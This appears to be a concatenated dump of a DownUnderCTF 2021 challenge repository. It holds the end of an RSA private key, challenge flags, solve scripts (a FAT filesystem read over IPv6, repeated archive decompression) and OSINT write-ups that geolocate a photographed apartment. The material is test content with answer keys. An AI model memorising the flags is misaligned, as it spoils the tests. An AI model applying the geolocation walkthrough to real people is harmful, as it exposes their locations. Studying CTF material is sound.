bxcI3Dy8COdn4fIcgtiJIBwXycsiAAJi1B9QGds+BSJj7+BJOP2n1xgjz+ET4xAo NWGiuaZa2UllMJTD/gaEkCLem5CVIb93CY7c5Lgn7jbPjJ8yUSThFl3UGoJJmPy7 lFWA+NkGCM/fAwKCAQEA1/02s4fJUGZrOhX8UjTQoDW1ltrtFNhv8Fqakkj8rUJW 4Qzj4L5GYzk9DKlUXY+D4kXkHUUNn85gGPmCW01gh2gdTeoGdK4t1FuvG2m9wegG OFDia0+lGCmYpgHLAT6Pyu5hyVRpZAMIrZrMnKZi39fLvU7cbON0dHLciSZSxSA2 YxAOpEzXYnx6+dK/g1gFVkcsLtgv2Cf4pk3SR0koFT9eFxNdRLHS8TDXMHY/GJIt PGZf+CrWRp9C/WwUpJJSTUP8i1rD3cXGn5Z3eVrYUqURq98Nnekyt/eZbzrtXkLd 6RG85IgXJxRO/m9EyfGhKZvI1HpUtaM98G/iDV8gxQKCAQBBrNgEpIueEGy8/aeC odS7Hgtn6rZz6ARvsRnvq1UYQyO1GxuPbzfpZkGOm+aZ+jNSNx23clUN4FpTtzAf P3o7yn7gzjJmLAgNr+kLFhgfjp/d5DOZQbMNkU1cM15nK8ORH9sbU5v6Ho9pItY9 +IAoUNBprr6h+QqjqlIP2ThXrI7u0i30cVW7/FN5fWJWSIPkbC/OqoJVGqfkPsUH NNJg/iQ5CCNsrv448cGQbxDZIUttCE5f3Ky2cWnj+lWOnXkXMj6l/WYgch8dFad3 J8HoCd+V+vKVfB96w7ocpwkvJOF+IoGojCBQ6NfIRQyJc0zFkxELq+97QvhCvEqz mO8xAoIBAQC/dZg9wIo1mPRIAyEuBd9BhRq45MvwBIQFvWrzbXt+YiX9TJ3bpQ9j +WMijB9a6FLyCx5Qy9tt41TQDqz9HjQJE8OWQ3MBjzzU14j7ddpdvr10wk5S7cDd EFJeJYy8R6bTLkjEXO0nWIEi0uu5mMxgvDvATd2bMG0UpJTVhoEseId9fMhd4De0 979TIPvfA/GHL4P86mpO4+/IC4fw5OqBGzDep62vrSnd33uBW/BGaZ1rwxwjMmXL KHYLivkpgQMvtqpxJT4moqCU6p5xlpPXfreRcSHy7rqk1PjP3p53RjLL3Yth0Tkk zR3Q8PU7RdOkvJFjuCTK9i97qNHrJH45AoIBAAeUoMrK7SFWPdk1k3PweQDx78F/ FFtoWzcMLQUpPN7Ovx8L5AFq8Nw/ddL0+yQyYe8DMF2MvS3y/8234r9SjluKgCOC nVez7Kw1Or0bYLIIRO95ZuKTtDYEglNPE6XN+Hi3U1n+qDaKTFLijWaZksmRRlYw SUwojajh9llZJd6ijUtKrcdGIZHocwq2TZMztplwmbE3Xk5q5f9RHwCD8vxvstLE 03/cUTxOeHeUvlDy2AhAjI1CTdABtrjSBP3gFx1dGPzZd3/U38pUxVPSNzV/4wLJ mqP2AlbrKyUWsk10kDGMmkwihQHdD/Z19wn1Ggi4+BbZLi6RHsyCA++asjA= -----END RSA PRIVATE KEY----- ================================================ FILE: misc/i_pee_fs/src/dir/07 flag.txt ================================================ You've made it! DUCTF{FAT32_0v3r_IPv16_q01KQYYS6a} ================================================ FILE: misc/i_pee_fs/src/generate.sh ================================================ #!/bin/sh # allocate a 64MB file dd if=/dev/urandom of=data bs=4M count=16 mkfs.fat -F 16 data mkdir -p test sudo mount data test sudo dd if=/dev/urandom 'of=test/00 literal garbage ignore' bs=4M count=6 sudo cp -r dir/* test sudo umount data rmdir test ================================================ FILE: misc/i_pee_fs/src/load-test.go ================================================ package main import ( "encoding/binary" "fmt" "net" ) func readLoop(conn *net.UDPConn) { for { buf := make([]byte, 32) _, rAddr, err := conn.ReadFromUDP(buf) if err != nil { fmt.Println("error reading packet") } fmt.Println(string(buf), rAddr) } } func writeLoop(conn *net.UDPConn, ip net.IP) { var counter uint32 = 0 mutIp := make([]byte, 16) copy(mutIp, ip) counterBytes := make([]byte, 16) binary.BigEndian.PutUint32(counterBytes, counter) for { counterBytes := make([]byte, 4) binary.BigEndian.PutUint32(counterBytes, counter) copy(mutIp[12:], counterBytes) addr := net.UDPAddr{ IP: mutIp, Port: 1337, } _, err := conn.WriteTo([]byte(""), &addr) if err != nil { fmt.Println("error writing packet") panic(err) } counter += 1 } } func main() { ip := net.ParseIP("2600:1900:4120:5fb8::") conn, err := net.ListenUDP("udp6", &net.UDPAddr{}) if err != nil { fmt.Println("failed to create udp connection", err) } go writeLoop(conn, ip) go readLoop(conn) select {} } ================================================ FILE: misc/i_pee_fs/src/main-ipv4.go ================================================ // probably gonna get banned for players ddosing us before code bottlenecks // fully redundant concurrency let's gooooooo package main import ( "encoding/binary" "fmt" "hash/fnv" "io/ioutil" "log" "net" "os" "runtime" "strconv" "strings" "time" ) const FILENAME = "data" const PER_MINUTE = 512 var ALL = 0 type logWriter struct { } type connectionInfo struct { offset int remote net.UDPAddr } func checkLimit(limiter map[uint32]uint32, addr net.IP) bool { ip := binary.BigEndian.Uint32(addr[len(addr)-4:]) now := time.Now().Unix() minutes := uint32(now/60) & 65535 val := limiter[ip] cvalue := val & 65535 cminutes := val >> 16 if minutes != cminutes { limiter[ip] = (minutes << 16) + 1 return true } else if cvalue >= PER_MINUTE { if cvalue == PER_MINUTE { log.Printf("rate limit reached for %s", addr) } if cvalue < 65535 { limiter[ip] = (minutes << 16) + ((cvalue + 1) & 65535) } return false } limiter[ip] = (minutes << 16) + ((cvalue + 1) & 65535) return true } func setupListeners(port string, data []uint32) { // Setup UDP listener pConn, err := net.ListenPacket("udp", port) if err != nil { panic(err) } sConn := pConn.(*net.UDPConn) defer sConn.Close() // Setup channels numCPU := runtime.NumCPU() queues := make([]chan connectionInfo, numCPU) for i := 0; i < numCPU; i++ { queues[i] = make(chan connectionInfo) go processor(i, sConn, queues[i], data) } // Setup routers for i := 0; i < numCPU; i++ { go router(i, sConn, queues, len(queues)) } // Wait forever select {} } func processor(procIndex int, conn *net.UDPConn, queue chan connectionInfo, data []uint32) { log.Println("starting processor routine", procIndex) counter := 0 limiter := make(map[uint32]uint32) dataLength := len(data) for info := range queue { // Construct OOB if checkLimit(limiter, info.remote.IP) { counter += 1 conn.WriteTo([]byte(fmt.Sprintf("%d\n", uint64(info.offset<<32)+uint64(data[info.offset%dataLength]))), &info.remote) } else { conn.WriteTo([]byte("-1"), &info.remote) } } } func router(procIndex int, conn *net.UDPConn, queues []chan connectionInfo, qCount int) { log.Println("starting router routine", procIndex) for { data := make([]byte, 12) _, addr, err := conn.ReadFrom(data) if err != nil { // log error continue } uAddr := addr.(*net.UDPAddr) off, err := strconv.Atoi(strings.Trim(string(data), "\n\t\x00 ")) if err != nil || off < 0 { conn.WriteTo([]byte("-1"), uAddr) continue } h := fnv.New32a() h.Write(uAddr.IP) queues[h.Sum32()%uint32(qCount)] <- connectionInfo{ offset: off, remote: *uAddr, } } } func main() { arguments := os.Args if len(arguments) == 1 { log.Println("Please provide a port number!") return } data, err := ioutil.ReadFile(FILENAME) if err != nil { panic("cannot read data file") } total := len(data) / 4 numbers := make([]uint32, total) for i := 0; i < total; i++ { numbers[i] = binary.LittleEndian.Uint32(data[i*4 : (i+1)*4]) } setupListeners(arguments[1], numbers) } ================================================ FILE: misc/i_pee_fs/src/main.go ================================================ // probably gonna get banned for players ddosing us before code bottlenecks // fully redundant concurrency let's gooooooo package main import ( "bytes" "encoding/binary" "fmt" "hash/fnv" "io/ioutil" "net" "os" "runtime" "syscall" "time" ) const FILENAME = "data" const MASK = ^(uint32(0)) const PER_MINUTE = 512 const LOG_INTERVAL = 32 * 1024 const IPV6_FREEBIND = 78 var ALL = 0 type connectionInfo struct { remoteAddr net.UDPAddr localAddr syscall.Inet6Pktinfo remote uint32 local uint32 } func parseLocalAddress(ip net.IP) uint32 { length := len(ip) return binary.BigEndian.Uint32(ip[length-4:]) } // rate limit using slice from 24 to 56 bits func parseRemoteAddress(ip net.IP) uint32 { if len(ip) == 4 { return binary.BigEndian.Uint32(ip) } return binary.BigEndian.Uint32(ip[3:7]) } func checkLimit(limiter map[uint32]uint32, addr uint32) bool { now := time.Now().Unix() minutes := uint32(now/60) & 65535 val := limiter[addr] cvalue := val & 65535 cminutes := val >> 16 if minutes != cminutes { limiter[addr] = (minutes << 16) + 1 return true } else if cvalue >= PER_MINUTE { return false } limiter[addr] = (minutes << 16) + ((cvalue + 1) & 65535) return true } func setupListeners(port string, data []uint32) { // Setup UDP listener pConn, err := net.ListenPacket("udp6", port) if err != nil { panic(err) } sConn := pConn.(*net.UDPConn) file, err := sConn.File() if err != nil { panic(err) } err = syscall.SetsockoptInt(int(file.Fd()), syscall.IPPROTO_IPV6, syscall.IPV6_RECVPKTINFO, 1) if err != nil { panic(err) } err = syscall.SetsockoptInt(int(file.Fd()), syscall.SOL_IPV6, IPV6_FREEBIND, 1) if err != nil { panic(err) } defer sConn.Close() // Setup channels numCPU := runtime.NumCPU() queues := make([]chan connectionInfo, numCPU) for i := 0; i < numCPU; i++ { queues[i] = make(chan connectionInfo) go processor(i, sConn, queues[i], data) } // Setup routers for i := 0; i < numCPU; i++ { go router(i, sConn, queues, len(queues)) } // Wait forever select {} } func generateIPv6OOB(localAddr syscall.Inet6Pktinfo) []byte { buf := bytes.Buffer{} msg := syscall.Cmsghdr{} msg.Level = syscall.IPPROTO_IPV6 msg.Type = syscall.IPV6_PKTINFO // clearly a hack, idk why it is 16 msg.Len = uint64(binary.Size(localAddr) + 16) binary.Write(&buf, binary.LittleEndian, msg) binary.Write(&buf, binary.LittleEndian, localAddr) return buf.Bytes() } func processor(procIndex int, conn *net.UDPConn, queue chan connectionInfo, data []uint32) { fmt.Println("starting processor routine", procIndex) counter := 0 limiter := make(map[uint32]uint32) dataLength := len(data) for info := range queue { // Construct OOB oob := generateIPv6OOB(info.localAddr) if checkLimit(limiter, info.remote) { counter += 1 if counter%LOG_INTERVAL == 0 { fmt.Println(time.Now(), procIndex, counter) } conn.WriteMsgUDP([]byte(fmt.Sprintf("%d\n", data[info.local%uint32(dataLength)])), oob, &info.remoteAddr) } else { conn.WriteMsgUDP([]byte("-1"), oob, &info.remoteAddr) } } } func router(procIndex int, conn *net.UDPConn, queues []chan connectionInfo, qCount int) { fmt.Println("starting router routine", procIndex) for { data := make([]byte, 1024) oob := make([]byte, 2048) _, _, _, rAddr, _ := conn.ReadMsgUDP(data, oob) oob_buffer := bytes.NewBuffer(oob) msg := syscall.Cmsghdr{} binary.Read(oob_buffer, binary.LittleEndian, &msg) if msg.Level == syscall.IPPROTO_IPV6 && msg.Type == syscall.IPV6_PKTINFO { local := syscall.Inet6Pktinfo{} binary.Read(oob_buffer, binary.LittleEndian, &local) h := fnv.New32a() h.Write(rAddr.IP[3:7]) queues[h.Sum32()%uint32(qCount)] <- connectionInfo{ remoteAddr: *rAddr, localAddr: local, remote: parseRemoteAddress(rAddr.IP), local: parseLocalAddress(local.Addr[:]), } } } } func main() { arguments := os.Args if len(arguments) == 1 { fmt.Println("Please provide a port number!") return } data, err := ioutil.ReadFile(FILENAME) if err != nil { panic("cannot read data file") } total := len(data) / 4 numbers := make([]uint32, total) for i := 0; i < total; i++ { numbers[i] = binary.LittleEndian.Uint32(data[i*4 : (i+1)*4]) } setupListeners(arguments[1], numbers) } ================================================ FILE: misc/i_pee_fs/src/solve.py ================================================ #!/usr/bin/python3 # writing this was kinda hard, works for the testing env # reference: https://www.cse.scu.edu/~tschwarz/coen252_07Fall/Lectures/FAT.html from time import sleep from sys import stderr from os import environ from socket import socket, AF_INET6, SOCK_DGRAM from pwn import p32, u8, u16, u32 from ipaddress import ip_address from typing import List MAX_BYTES_PER_MESSAGE = 64 MAX_RETRIES = 10 BYTES_PER_WORD = 4 PORT = 1337 BASE_IP = ip_address('2600:1900:4120:5fb8::') DEBUG = not not environ.get('DEBUG') def get_word(base_ip: ip_address, sock: socket, data: List[int], offset: int) -> bytearray: # use the first data entry to store the count of network calls if offset + 1 < len(data) and data is not None: return data[offset + 1] ip = str(base_ip + offset) sock.sendto(b'', (ip, PORT)) addr = ('', 0, 0, 0) retries = 0 while addr[0] != ip and retries < MAX_RETRIES: if DEBUG: print('getting word at offset', offset, file=stderr) if retries > 0: print("waiting to retry offset", offset, file=stderr) sleep(5) packet, addr = sock.recvfrom(MAX_BYTES_PER_MESSAGE) if int(packet) == -1: addr = ('', 0, 0, 0) retries += 1 if retries > MAX_RETRIES: raise RuntimeError("could not get word at", ip) if offset + 1 >= len(data): data += [None for _ in range(offset - len(data) + 2)] data[offset + 1] = p32(int(packet)) data[0] += 1 return data[offset + 1] def get_data(base_ip: ip_address, sock: socket, data: List[int], offset: int, length: int) -> bytearray: if offset < 0: raise ValueError("offset has to be greater than or equal to 0") if length <= 0: raise ValueError("length has to be greater than 0") of_start = offset // BYTES_PER_WORD of_end = (offset + length) // BYTES_PER_WORD b_start = offset % BYTES_PER_WORD b_end = (offset + length) % BYTES_PER_WORD words = [] for i in range(of_start, of_end + 1): words.append(get_word(base_ip, sock, data, i)) if len(words) == 1: return words[0][b_start:b_end] return b''.join([words[0][b_start:]] + words[1:-1] + [words[-1][:b_end]]) def solve(): data = [0] sock = socket(AF_INET6, SOCK_DGRAM) sock.bind(('', 0)) mauf = get_data(BASE_IP, sock, data, 0x3, 8) print('mauf', mauf) bytes_per_sector = u16(get_data(BASE_IP, sock, data, 0xb, 2)) print('bytes_per_sector', bytes_per_sector) sectors_per_cluster = u8(get_data(BASE_IP, sock, data, 0xd, 1)) print('sectors_per_cluster', sectors_per_cluster) fats = u8(get_data(BASE_IP, sock, data, 0x10, 1)) print('fats', fats) roots = u16(get_data(BASE_IP, sock, data, 0x11, 2)) print('roots', roots) sectors_per_fat = u16(get_data(BASE_IP, sock, data, 0x16, 2)) print('sectors_per_fat', sectors_per_fat) n_hidden_sectors = u32(get_data(BASE_IP, sock, data, 0x1c, 4)) print('n_hidden_sectors', n_hidden_sectors) n_sectors = u32(get_data(BASE_IP, sock, data, 0x20, 4)) print('n_sectors', n_sectors) label = get_data(BASE_IP, sock, data, 0x2b, 11) print('label', label) #fat = get_sector(BASE_IP, sock, data, bytes_per_sector, sectors_per_cluster) #print(fat) #root = get_sector(BASE_IP, sock, data, bytes_per_sector, sectors_per_cluster + (sectors_per_fat * 2)) fat_start = sectors_per_cluster * bytes_per_sector root_dir_start = (sectors_per_cluster + (sectors_per_fat * fats)) * bytes_per_sector # list files and find FLAG.txt () for i in range(bytes_per_sector // 32): ent = get_data(BASE_IP, sock, data, root_dir_start + (i*32), 32) filename = ent[:8] if filename == b'\x00' * 8: break filename = filename.decode('ascii', 'ignore') print('filename', filename) ext = ent[8:8+3] print('ext', ext) first_cluster = u16(ent[0x1a:0x1a + 2]) print('first_cluster', first_cluster) size = u32(ent[0x1c:0x1c + 4]) print('size', size) print() if 'FLAG' in filename: break # look for the flag in the FAT # probably unneeded since its a small file # clus_fat = get_data(BASE_IP, sock, data, fat_start + 2*first_cluster, 2) # look up the cluster straight away cluster_start = root_dir_start + ((first_cluster + 2) * sectors_per_cluster * bytes_per_sector) print(get_data(BASE_IP, sock, data, cluster_start, size)) print('network calls made:', data[0]) if __name__ == '__main__': solve() ================================================ FILE: misc/rabbit/README.md ================================================ # Rabbit **Author:** Crem + z3kxTa **Category:** misc **Difficulty:** Easy ## Description: Can you find Babushka's missing vodka? It's buried pretty deep, like 1000 steps, deep. ================================================ FILE: misc/rabbit/challenge.yml ================================================ version: "0.1" id: rabbit name: rabbit category: misc description: | Can you find Babushka's missing vodka? It's buried pretty deep, like 1000 steps, deep. Author: Crem + z3kxTa tags: - easy files: - ./publish/flag.txt flags: - DUCTF{babushkas_v0dka_was_h3r3} ================================================ FILE: misc/rabbit/matroyshka.sh ================================================ #!/bin/bash filename=$1 # for loop for i in {1..1000}; do # array of archives archives=('xz' 'bzip2' 'gzip' 'zip') # echo a random archive arch=${archives[RANDOM%4]} echo $arch if [ "$arch" = "zip" ] then # do format for zip cd challenge/ zip ${filename}.zip $filename # remove the old file rm $filename # echo archived file in challenge folder name=`ls` # rename archived file to original filename mv $name $filename cd .. else # archive with chosen archive $arch challenge/$filename # echo archived file in challenge folder name=`ls challenge/` # rename archived file to original filename mv challenge/$name challenge/$filename fi done ================================================ FILE: misc/rabbit/solve.sh ================================================ #!/bin/bash echo "DUCTF - Rabbit Solve Script" echo "Note: This script assumes you have the original 'flag.txt' file in a folder called 'challenge'!" echo "" echo -n "Go solve script! Solve!" # Setting Variables for Stats gzip_num=0 bzip2_num=0 xz_num=0 zip_num=0 num_loop=0 while true; do echo -e "\r\033[1A\033[0KLoop #: $num_loop" num_loop=$((num_loop+1)) filename=`ls challenge/` checktype=`file challenge/$filename` num_files=`ls challenge/ | wc -l` # Must have only one file in the challenge folder if [ "$num_files" != "1" ]; then echo "No file in the 'challenge' folder or too many files in 'challenge' folder ! Aborting script!" break # If it is an ASCII text file, it is probably the flag and should print out the flag elif echo $checktype | grep -q "ASCII"; then cat challenge/$filename echo "The flag is: `base64 -d challenge/$filename`" echo "" echo "Stat Breakdown" echo "-----------------" echo "# of gzips decompressed: $gzip_num" echo "# of bzip2s decompressed: $bzip2_num" echo "# of xzs decompressed: $xz_num" echo "# of zips decompressed: $zip_num" echo "" break # If bzip2, change extension to .bz2 and decompress elif echo $checktype | grep -q "bzip2"; then mv challenge/$filename challenge/${filename}.bz2 bzip2 -d -q challenge/${filename}.bz2 bzip2_num=$((bzip2_num+1)) # If xz, change extension to .xz and decompress elif echo $checktype | grep -q "XZ"; then mv challenge/$filename challenge/${filename}.xz unxz -q challenge/${filename}.xz xz_num=$((xz_num+1)) # If gzip, change extension to .gz and decompress elif echo $checktype | grep -q "gzip"; then mv challenge/$filename challenge/${filename}.gz gunzip -q challenge/${filename}.gz gzip_num=$((gzip_num+1)) # Zip was a bit of a pain to work with honestly. # If you didn't cd into the directory there would be an # issue where it would always think it was a zip archive # Also when decompressing zip archives it usually keeps the old # file so I just deleted the zip archive after decompressing it. elif echo $checktype | grep -q "Zip archive data"; then cd challenge/ mv $filename ${filename}.zip unzip -q ${filename}.zip rm ${filename}.zip cd .. zip_num=$((zip_num+1)) # Was used as a debugging statement if I need to add a new decompression method else echo "No filetype match! Edit script to accomdate for: ${checktype}" fi done ================================================ FILE: misc/survey/challenge.yml ================================================ version: "0.1" id: survey name: Survey category: survey description: | Tell us what you loved and hated about DUCTF 2021. Every bit of feedback helps, so please take the time to fill out the form as honestly and as accurately as you can! [**Link to survey**](https://docs.google.com/forms/d/e/1FAIpQLScrDYkiCSw9eO51HaFaTTXZodtkMzn9TE_Wi9JgEj1kklNJsA/viewform) Author: DUCTF flags: - DUCTF{th4nk_y0u_f0r_pl4ying_DUCTF_2021_!!} type: standard value: 10 ================================================ FILE: misc/survey/solve.py ================================================ from requests import get r = get('https://docs.google.com/forms/d/e/1FAIpQLScrDYkiCSw9eO51HaFaTTXZodtkMzn9TE_Wi9JgEj1kklNJsA/viewform').text r = r[r.index('DUCTF{'):] flag = r[:r.index('}')+1] print(flag) ================================================ FILE: misc/the_introduction/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY /challenge/challenge.py /home/ctf/chal/pwn RUN chmod +x /home/ctf/chal/pwn ENV TIME_LIMIT 300 ================================================ FILE: misc/the_introduction/README.md ================================================ # The Introduction **Author:** Crem **Category:** misc **Difficulty:** Beginner ## Description Are you ready to start your journey? ================================================ FILE: misc/the_introduction/WRITEUP.md ================================================ # The Introduction Writeup This is a simple challenge to teach beginners how to use `nc`. All you have to do is simple do the following command: `nc ` You will then need to answer a few questions. Firstly, you need to type in your name. Next you will need to read the Hacker's Manifesto. After that you will be prompted with are you a hacker? You will keep getting asked until you reply with: `yes`. You will then receive the flag! ================================================ FILE: misc/the_introduction/challenge/challenge.py ================================================ #!/usr/bin/python3.8 import sys, time, random def typer(text2type): for l in text2type: sys.stdout.write(l) sys.stdout.flush() time.sleep(random.random()*10.0/240) return " " flag = r""" __ / \--..____ \ \ \-----,,,.. \ \ \ \--,,.. \ \ \ \ ,' \ \ \ \ ``.. \ \ \ \-'' \ \ \__,,--''' \ \ \. \ \ ,/ \ \__..- \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ """ manifesto = """ Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike. But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn underachiever. They're all alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike. I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike. And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike... You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will- ing pupils, but those few are like drops of water in the desert. This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals. Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for. I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike. +++The Mentor+++""" name = input(typer("wh47 15 y0ur n4m3 h4ck3r?")) if (name): print() typer("Here are some wise words " + name + ":") print() typer(manifesto) print() print() choice = input(typer("50 4r3 y0u 4c7u4lly 4 h4ck3r? ")) while(choice != "yes"): choice = input(typer("50 4r3 y0u 4c7u4lly 4 h4ck3r? ")) print() typer(name + ", y0u w1ll n33d 7h15 0n y0ur duc7f j0urn3y 7h3n") print() print() typer("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print() print() typer("DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}") print() print() typer("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print() print() typer(flag) print() print() else: print(" ¯\_(ツ)_/¯ no flag then ¯\_(ツ)_/¯") ================================================ FILE: misc/the_introduction/challenge.yml ================================================ version: "0.1" id: the-introduction name: The Introduction category: misc description: > Are you ready to start your journey? Author: Crem connection_info: nc ${host} ${port} tags: - beginner flags: - DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r} ================================================ FILE: misc/the_introduction/docker-compose.yml ================================================ version: "2" services: the_introduction: build: . privileged: true ports: - "1337:1337" ================================================ FILE: misc/the_introduction/flag.txt ================================================ DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r} ================================================ FILE: misc/twitter/README.md ================================================ # Twitter **Category:** misc **Difficulty:** Beginner **Author:** Crem If you have been paying attention to our Twitter, we have been using flags in the background of our graphics. However, one of these flags stands out a bit more than the rest! Can you find it? While you're there, why don't you give us a follow to keep up to date with DownUnderCTF! ================================================ FILE: misc/twitter/WRITEUP.md ================================================ # Twitter This is just meant to be a fun little challenge involving our twitter @DownUnderCTF :) If we take this photo as an example in the background of this graphic (https://twitter.com/DownUnderCTF/status/1437312644860370953/photo/1) you can see we have used our old flags from DUCTF 2020. However, in the background of our Twitter prize post graphic (https://twitter.com/DownUnderCTF/status/1436141450509500428/photo/1). You can see one of the flags is not like the others! It is located in the bottom right hand corner. Flag: DUCTF{EYES_ON_THE_PRIZES_TWITTER} ================================================ FILE: misc/twitter/challenge.yml ================================================ version: "0.1" id: twitter name: Twitter category: misc description: | If you have been paying attention to our Twitter, we have been using flags in the background of our graphics this year. However, one of these flags stands out a bit more than the rest! Can you find it? While you're there, why don't you give us a follow to keep up to date with DownUnderCTF! Author: Crem tags: - socials flags: - DUCTF{EYES_ON_THE_PRIZES_TWITTER} ================================================ FILE: osint/(back)-On-the-rails/README.md ================================================ # (back) On the rails **Category:** osint **Difficulty:** Easy **Author:** xXl33t_h@x0rXx We intercepted further communications between the two. This text was sent shortly before we lost track of one of the suspects, with an image attached. Can you work out what they're talking about? *Okay, please promise not to judge me, but I might have ended up catching the wrong train again. Though I think I'm still in Australia this time (at least it isn't like that time in Norway LOL). I managed to snap a picture before we went past this station… you have any ideas where I might be?* Please tell us the name of the station, with any spaces replaced by underscores. **Attached files:** - ./challenge/image.png (sha256: c42ed448a9d48b0002eab8300d67f5925359b60aa8db3632f0042aed2b941000) ================================================ FILE: osint/(back)-On-the-rails/WRITEUP.md ================================================ # (back) On the rails We couldn't write a challenge without a reference to the Off The Rails series of challenges that we know the competitors loved so dearly last year ;). The photo quality is quite poor, sufferring from motion blur and taken in a low resolution. Although, we are still able to make out what appears to be a station that has been graffitied, overgrown by nature and overall neglected/derelict. With this information, we are able to use a search engine to search for "abandoned" "derelict" "neglected" "overgrown" stations in Australia. However there are many of these and depending on your search engine of choice, you might immediately identify the station or sift through pages of results comparing the image. This challenge does require the solving of the previous challenges to know that this contact is located in the state of Victoria, which provides a large clue by narrowing down possible candidates for the station. Adding "Victoria" to your search should produce similar images of the same station regardless of search engine (although a good technique is to use multiple search engines when doing OSINT). From here, the competitor should find the name of the station in the search results amongst the photos, which is the old General Motors station in Dandenong, Victoria (see:https://en.wikipedia.org/wiki/General_Motors_railway_station). Again to account for a margin of error, we allowed any of the following flags: - DUCTF{general_motors_train_station} - DUCTF{general_motors} - DUCTF{general_motors_railway_station) - DUCTF{general_motors_station} ================================================ FILE: osint/(back)-On-the-rails/challenge.yml ================================================ version: "0.1" id: back-on-the-rails name: (back) On the rails category: OSINT description: | We intercepted further communications between the two. This text was sent shortly before we lost track of one of the suspects, with an image attached. Can you work out what they're talking about? *Okay, please promise not to judge me, but I might have ended up catching the wrong train again. Though I think I'm still in Australia this time (at least it isn't like that time in Norway LOL). I managed to snap a picture before we went past this station… you have any ideas where I might be?* Please tell us the name of the station, with any spaces replaced by underscores. Author: xXl33t_h@x0rXx tags: - easy files: - ./challenge/image.png flags: - { type: "static", content: "DUCTF{general_motors_train_station}", data: "case_insensitive", } - { type: "static", content: "DUCTF{general_motors}", data: "case_insensitive", } - { type: "static", content: "DUCTF{general_motors_railway_station}", data: "case_insensitive", } - { type: "static", content: "DUCTF{general_motors_station}", data: "case_insensitive", } - { type: "static", content: "general_motors_train_station", data: "case_insensitive", } - { type: "static", content: "general_motors", data: "case_insensitive", } - { type: "static", content: "general_motors_railway_station", data: "case_insensitive", } - { type: "static", content: "general_motors_station", data: "case_insensitive", } ================================================ FILE: osint/Apartment-views/README.md ================================================ # Apartment Views **Category:** osint **Difficulty:** Medium **Author:** xXl33t_h@x0rXx We received intel that the accomplice we have been following is meeting with the ringleader of RaaS operation, they shared this photo online a few years back - believed to be the view from their apartment building (hideout). Between you and me, our sources say the ringleader was testing the ransomware they were going to sell and instead infected their own laptop. We think we may be able to setup a sting to apprehend the ringleader and retrieve the decryption key when they meet the accomplice at a dead drop in a nearby alleyway. Can you work out what the street name is? **Attached files:** - ./challenge/image.png (sha256: 0afdcb829428b1a9f01916974436c2fb4e90a3555d506cbb0def25313196210d ) ================================================ FILE: osint/Apartment-views/WRITEUP.md ================================================ # Apartment Views We have been given an image, taken from an apartment building, and a request to locate where the image was taken. To solve the challenge, we need to give the name of a nearby alleyway. The image depicts a cityscape, including several buildings that could be used to triangulate the location of our apartment building. If the previous challenges were completed before attempting this challenge, they may have realised that the individual being tracked was heading into Melbourne (see (back) On the rails challenge). The first of the buildings, centred in the image, has a large logo at the top. The logo is difficult to make out but can be read as "ANZ". *If you are not Australian, googling "ANZ Australia" will reveal that this is the name of a bank (Australia and New Zealand Banking Group Limited).* Searching up ANZ buildings in Australia will allow us to determine that this picture has been taken in Melbourne, Victoria. The ANZ building is located at 100 Queen St, Melbourne VIC 3000. The next building is the uniquely shaped white building to the right of the image. From the image, we can see that the building looks to have at least two flattened blue sides and a white corner, unlike the rectangular or square buildings surrounding it. By examining the area around the ANZ building, in Google Maps satellite view, we can locate a similar building at 200 Queen St. Dropping down to street level will allow us to confirm that this is the correct building. We are now able to confirm a direction from the ANZ building and 200 Queen St. We can also confirm our location further by looking at 200 Queen St, as the white side of the building points in a diagnol direction near the location of the photo. Either by estimating or by counting the rows of buildings, the photo looks to have been taken one or two blocks away from 200 Queen St. By navigating street view and examining the surrounding areas from satellite view we should be able to determine that the small street at the bottom left of the image is Hardware St, and the brick building located 112 Hardware St. With this we can determine that the apartment the image is taken from is at the end of Hardware St, either 318 or 320 Little Lonsdale St. Now, taking the hint from the challenge description that we are looking for an "alleyway", we can pick the flag as the alley behind our apartment, McLean Alley. The flag is: DUCTF{mclean_alley} *Note: There are several other points of interest in this image which could be used to locate the apartment building. These include the Westpac building with the red logo, the domed 333 Collins Street, and the buildings surrounding Hardware St.* The photo used in this challenge has been sourced and cropped (to prevent reverse image search) from [this real estate 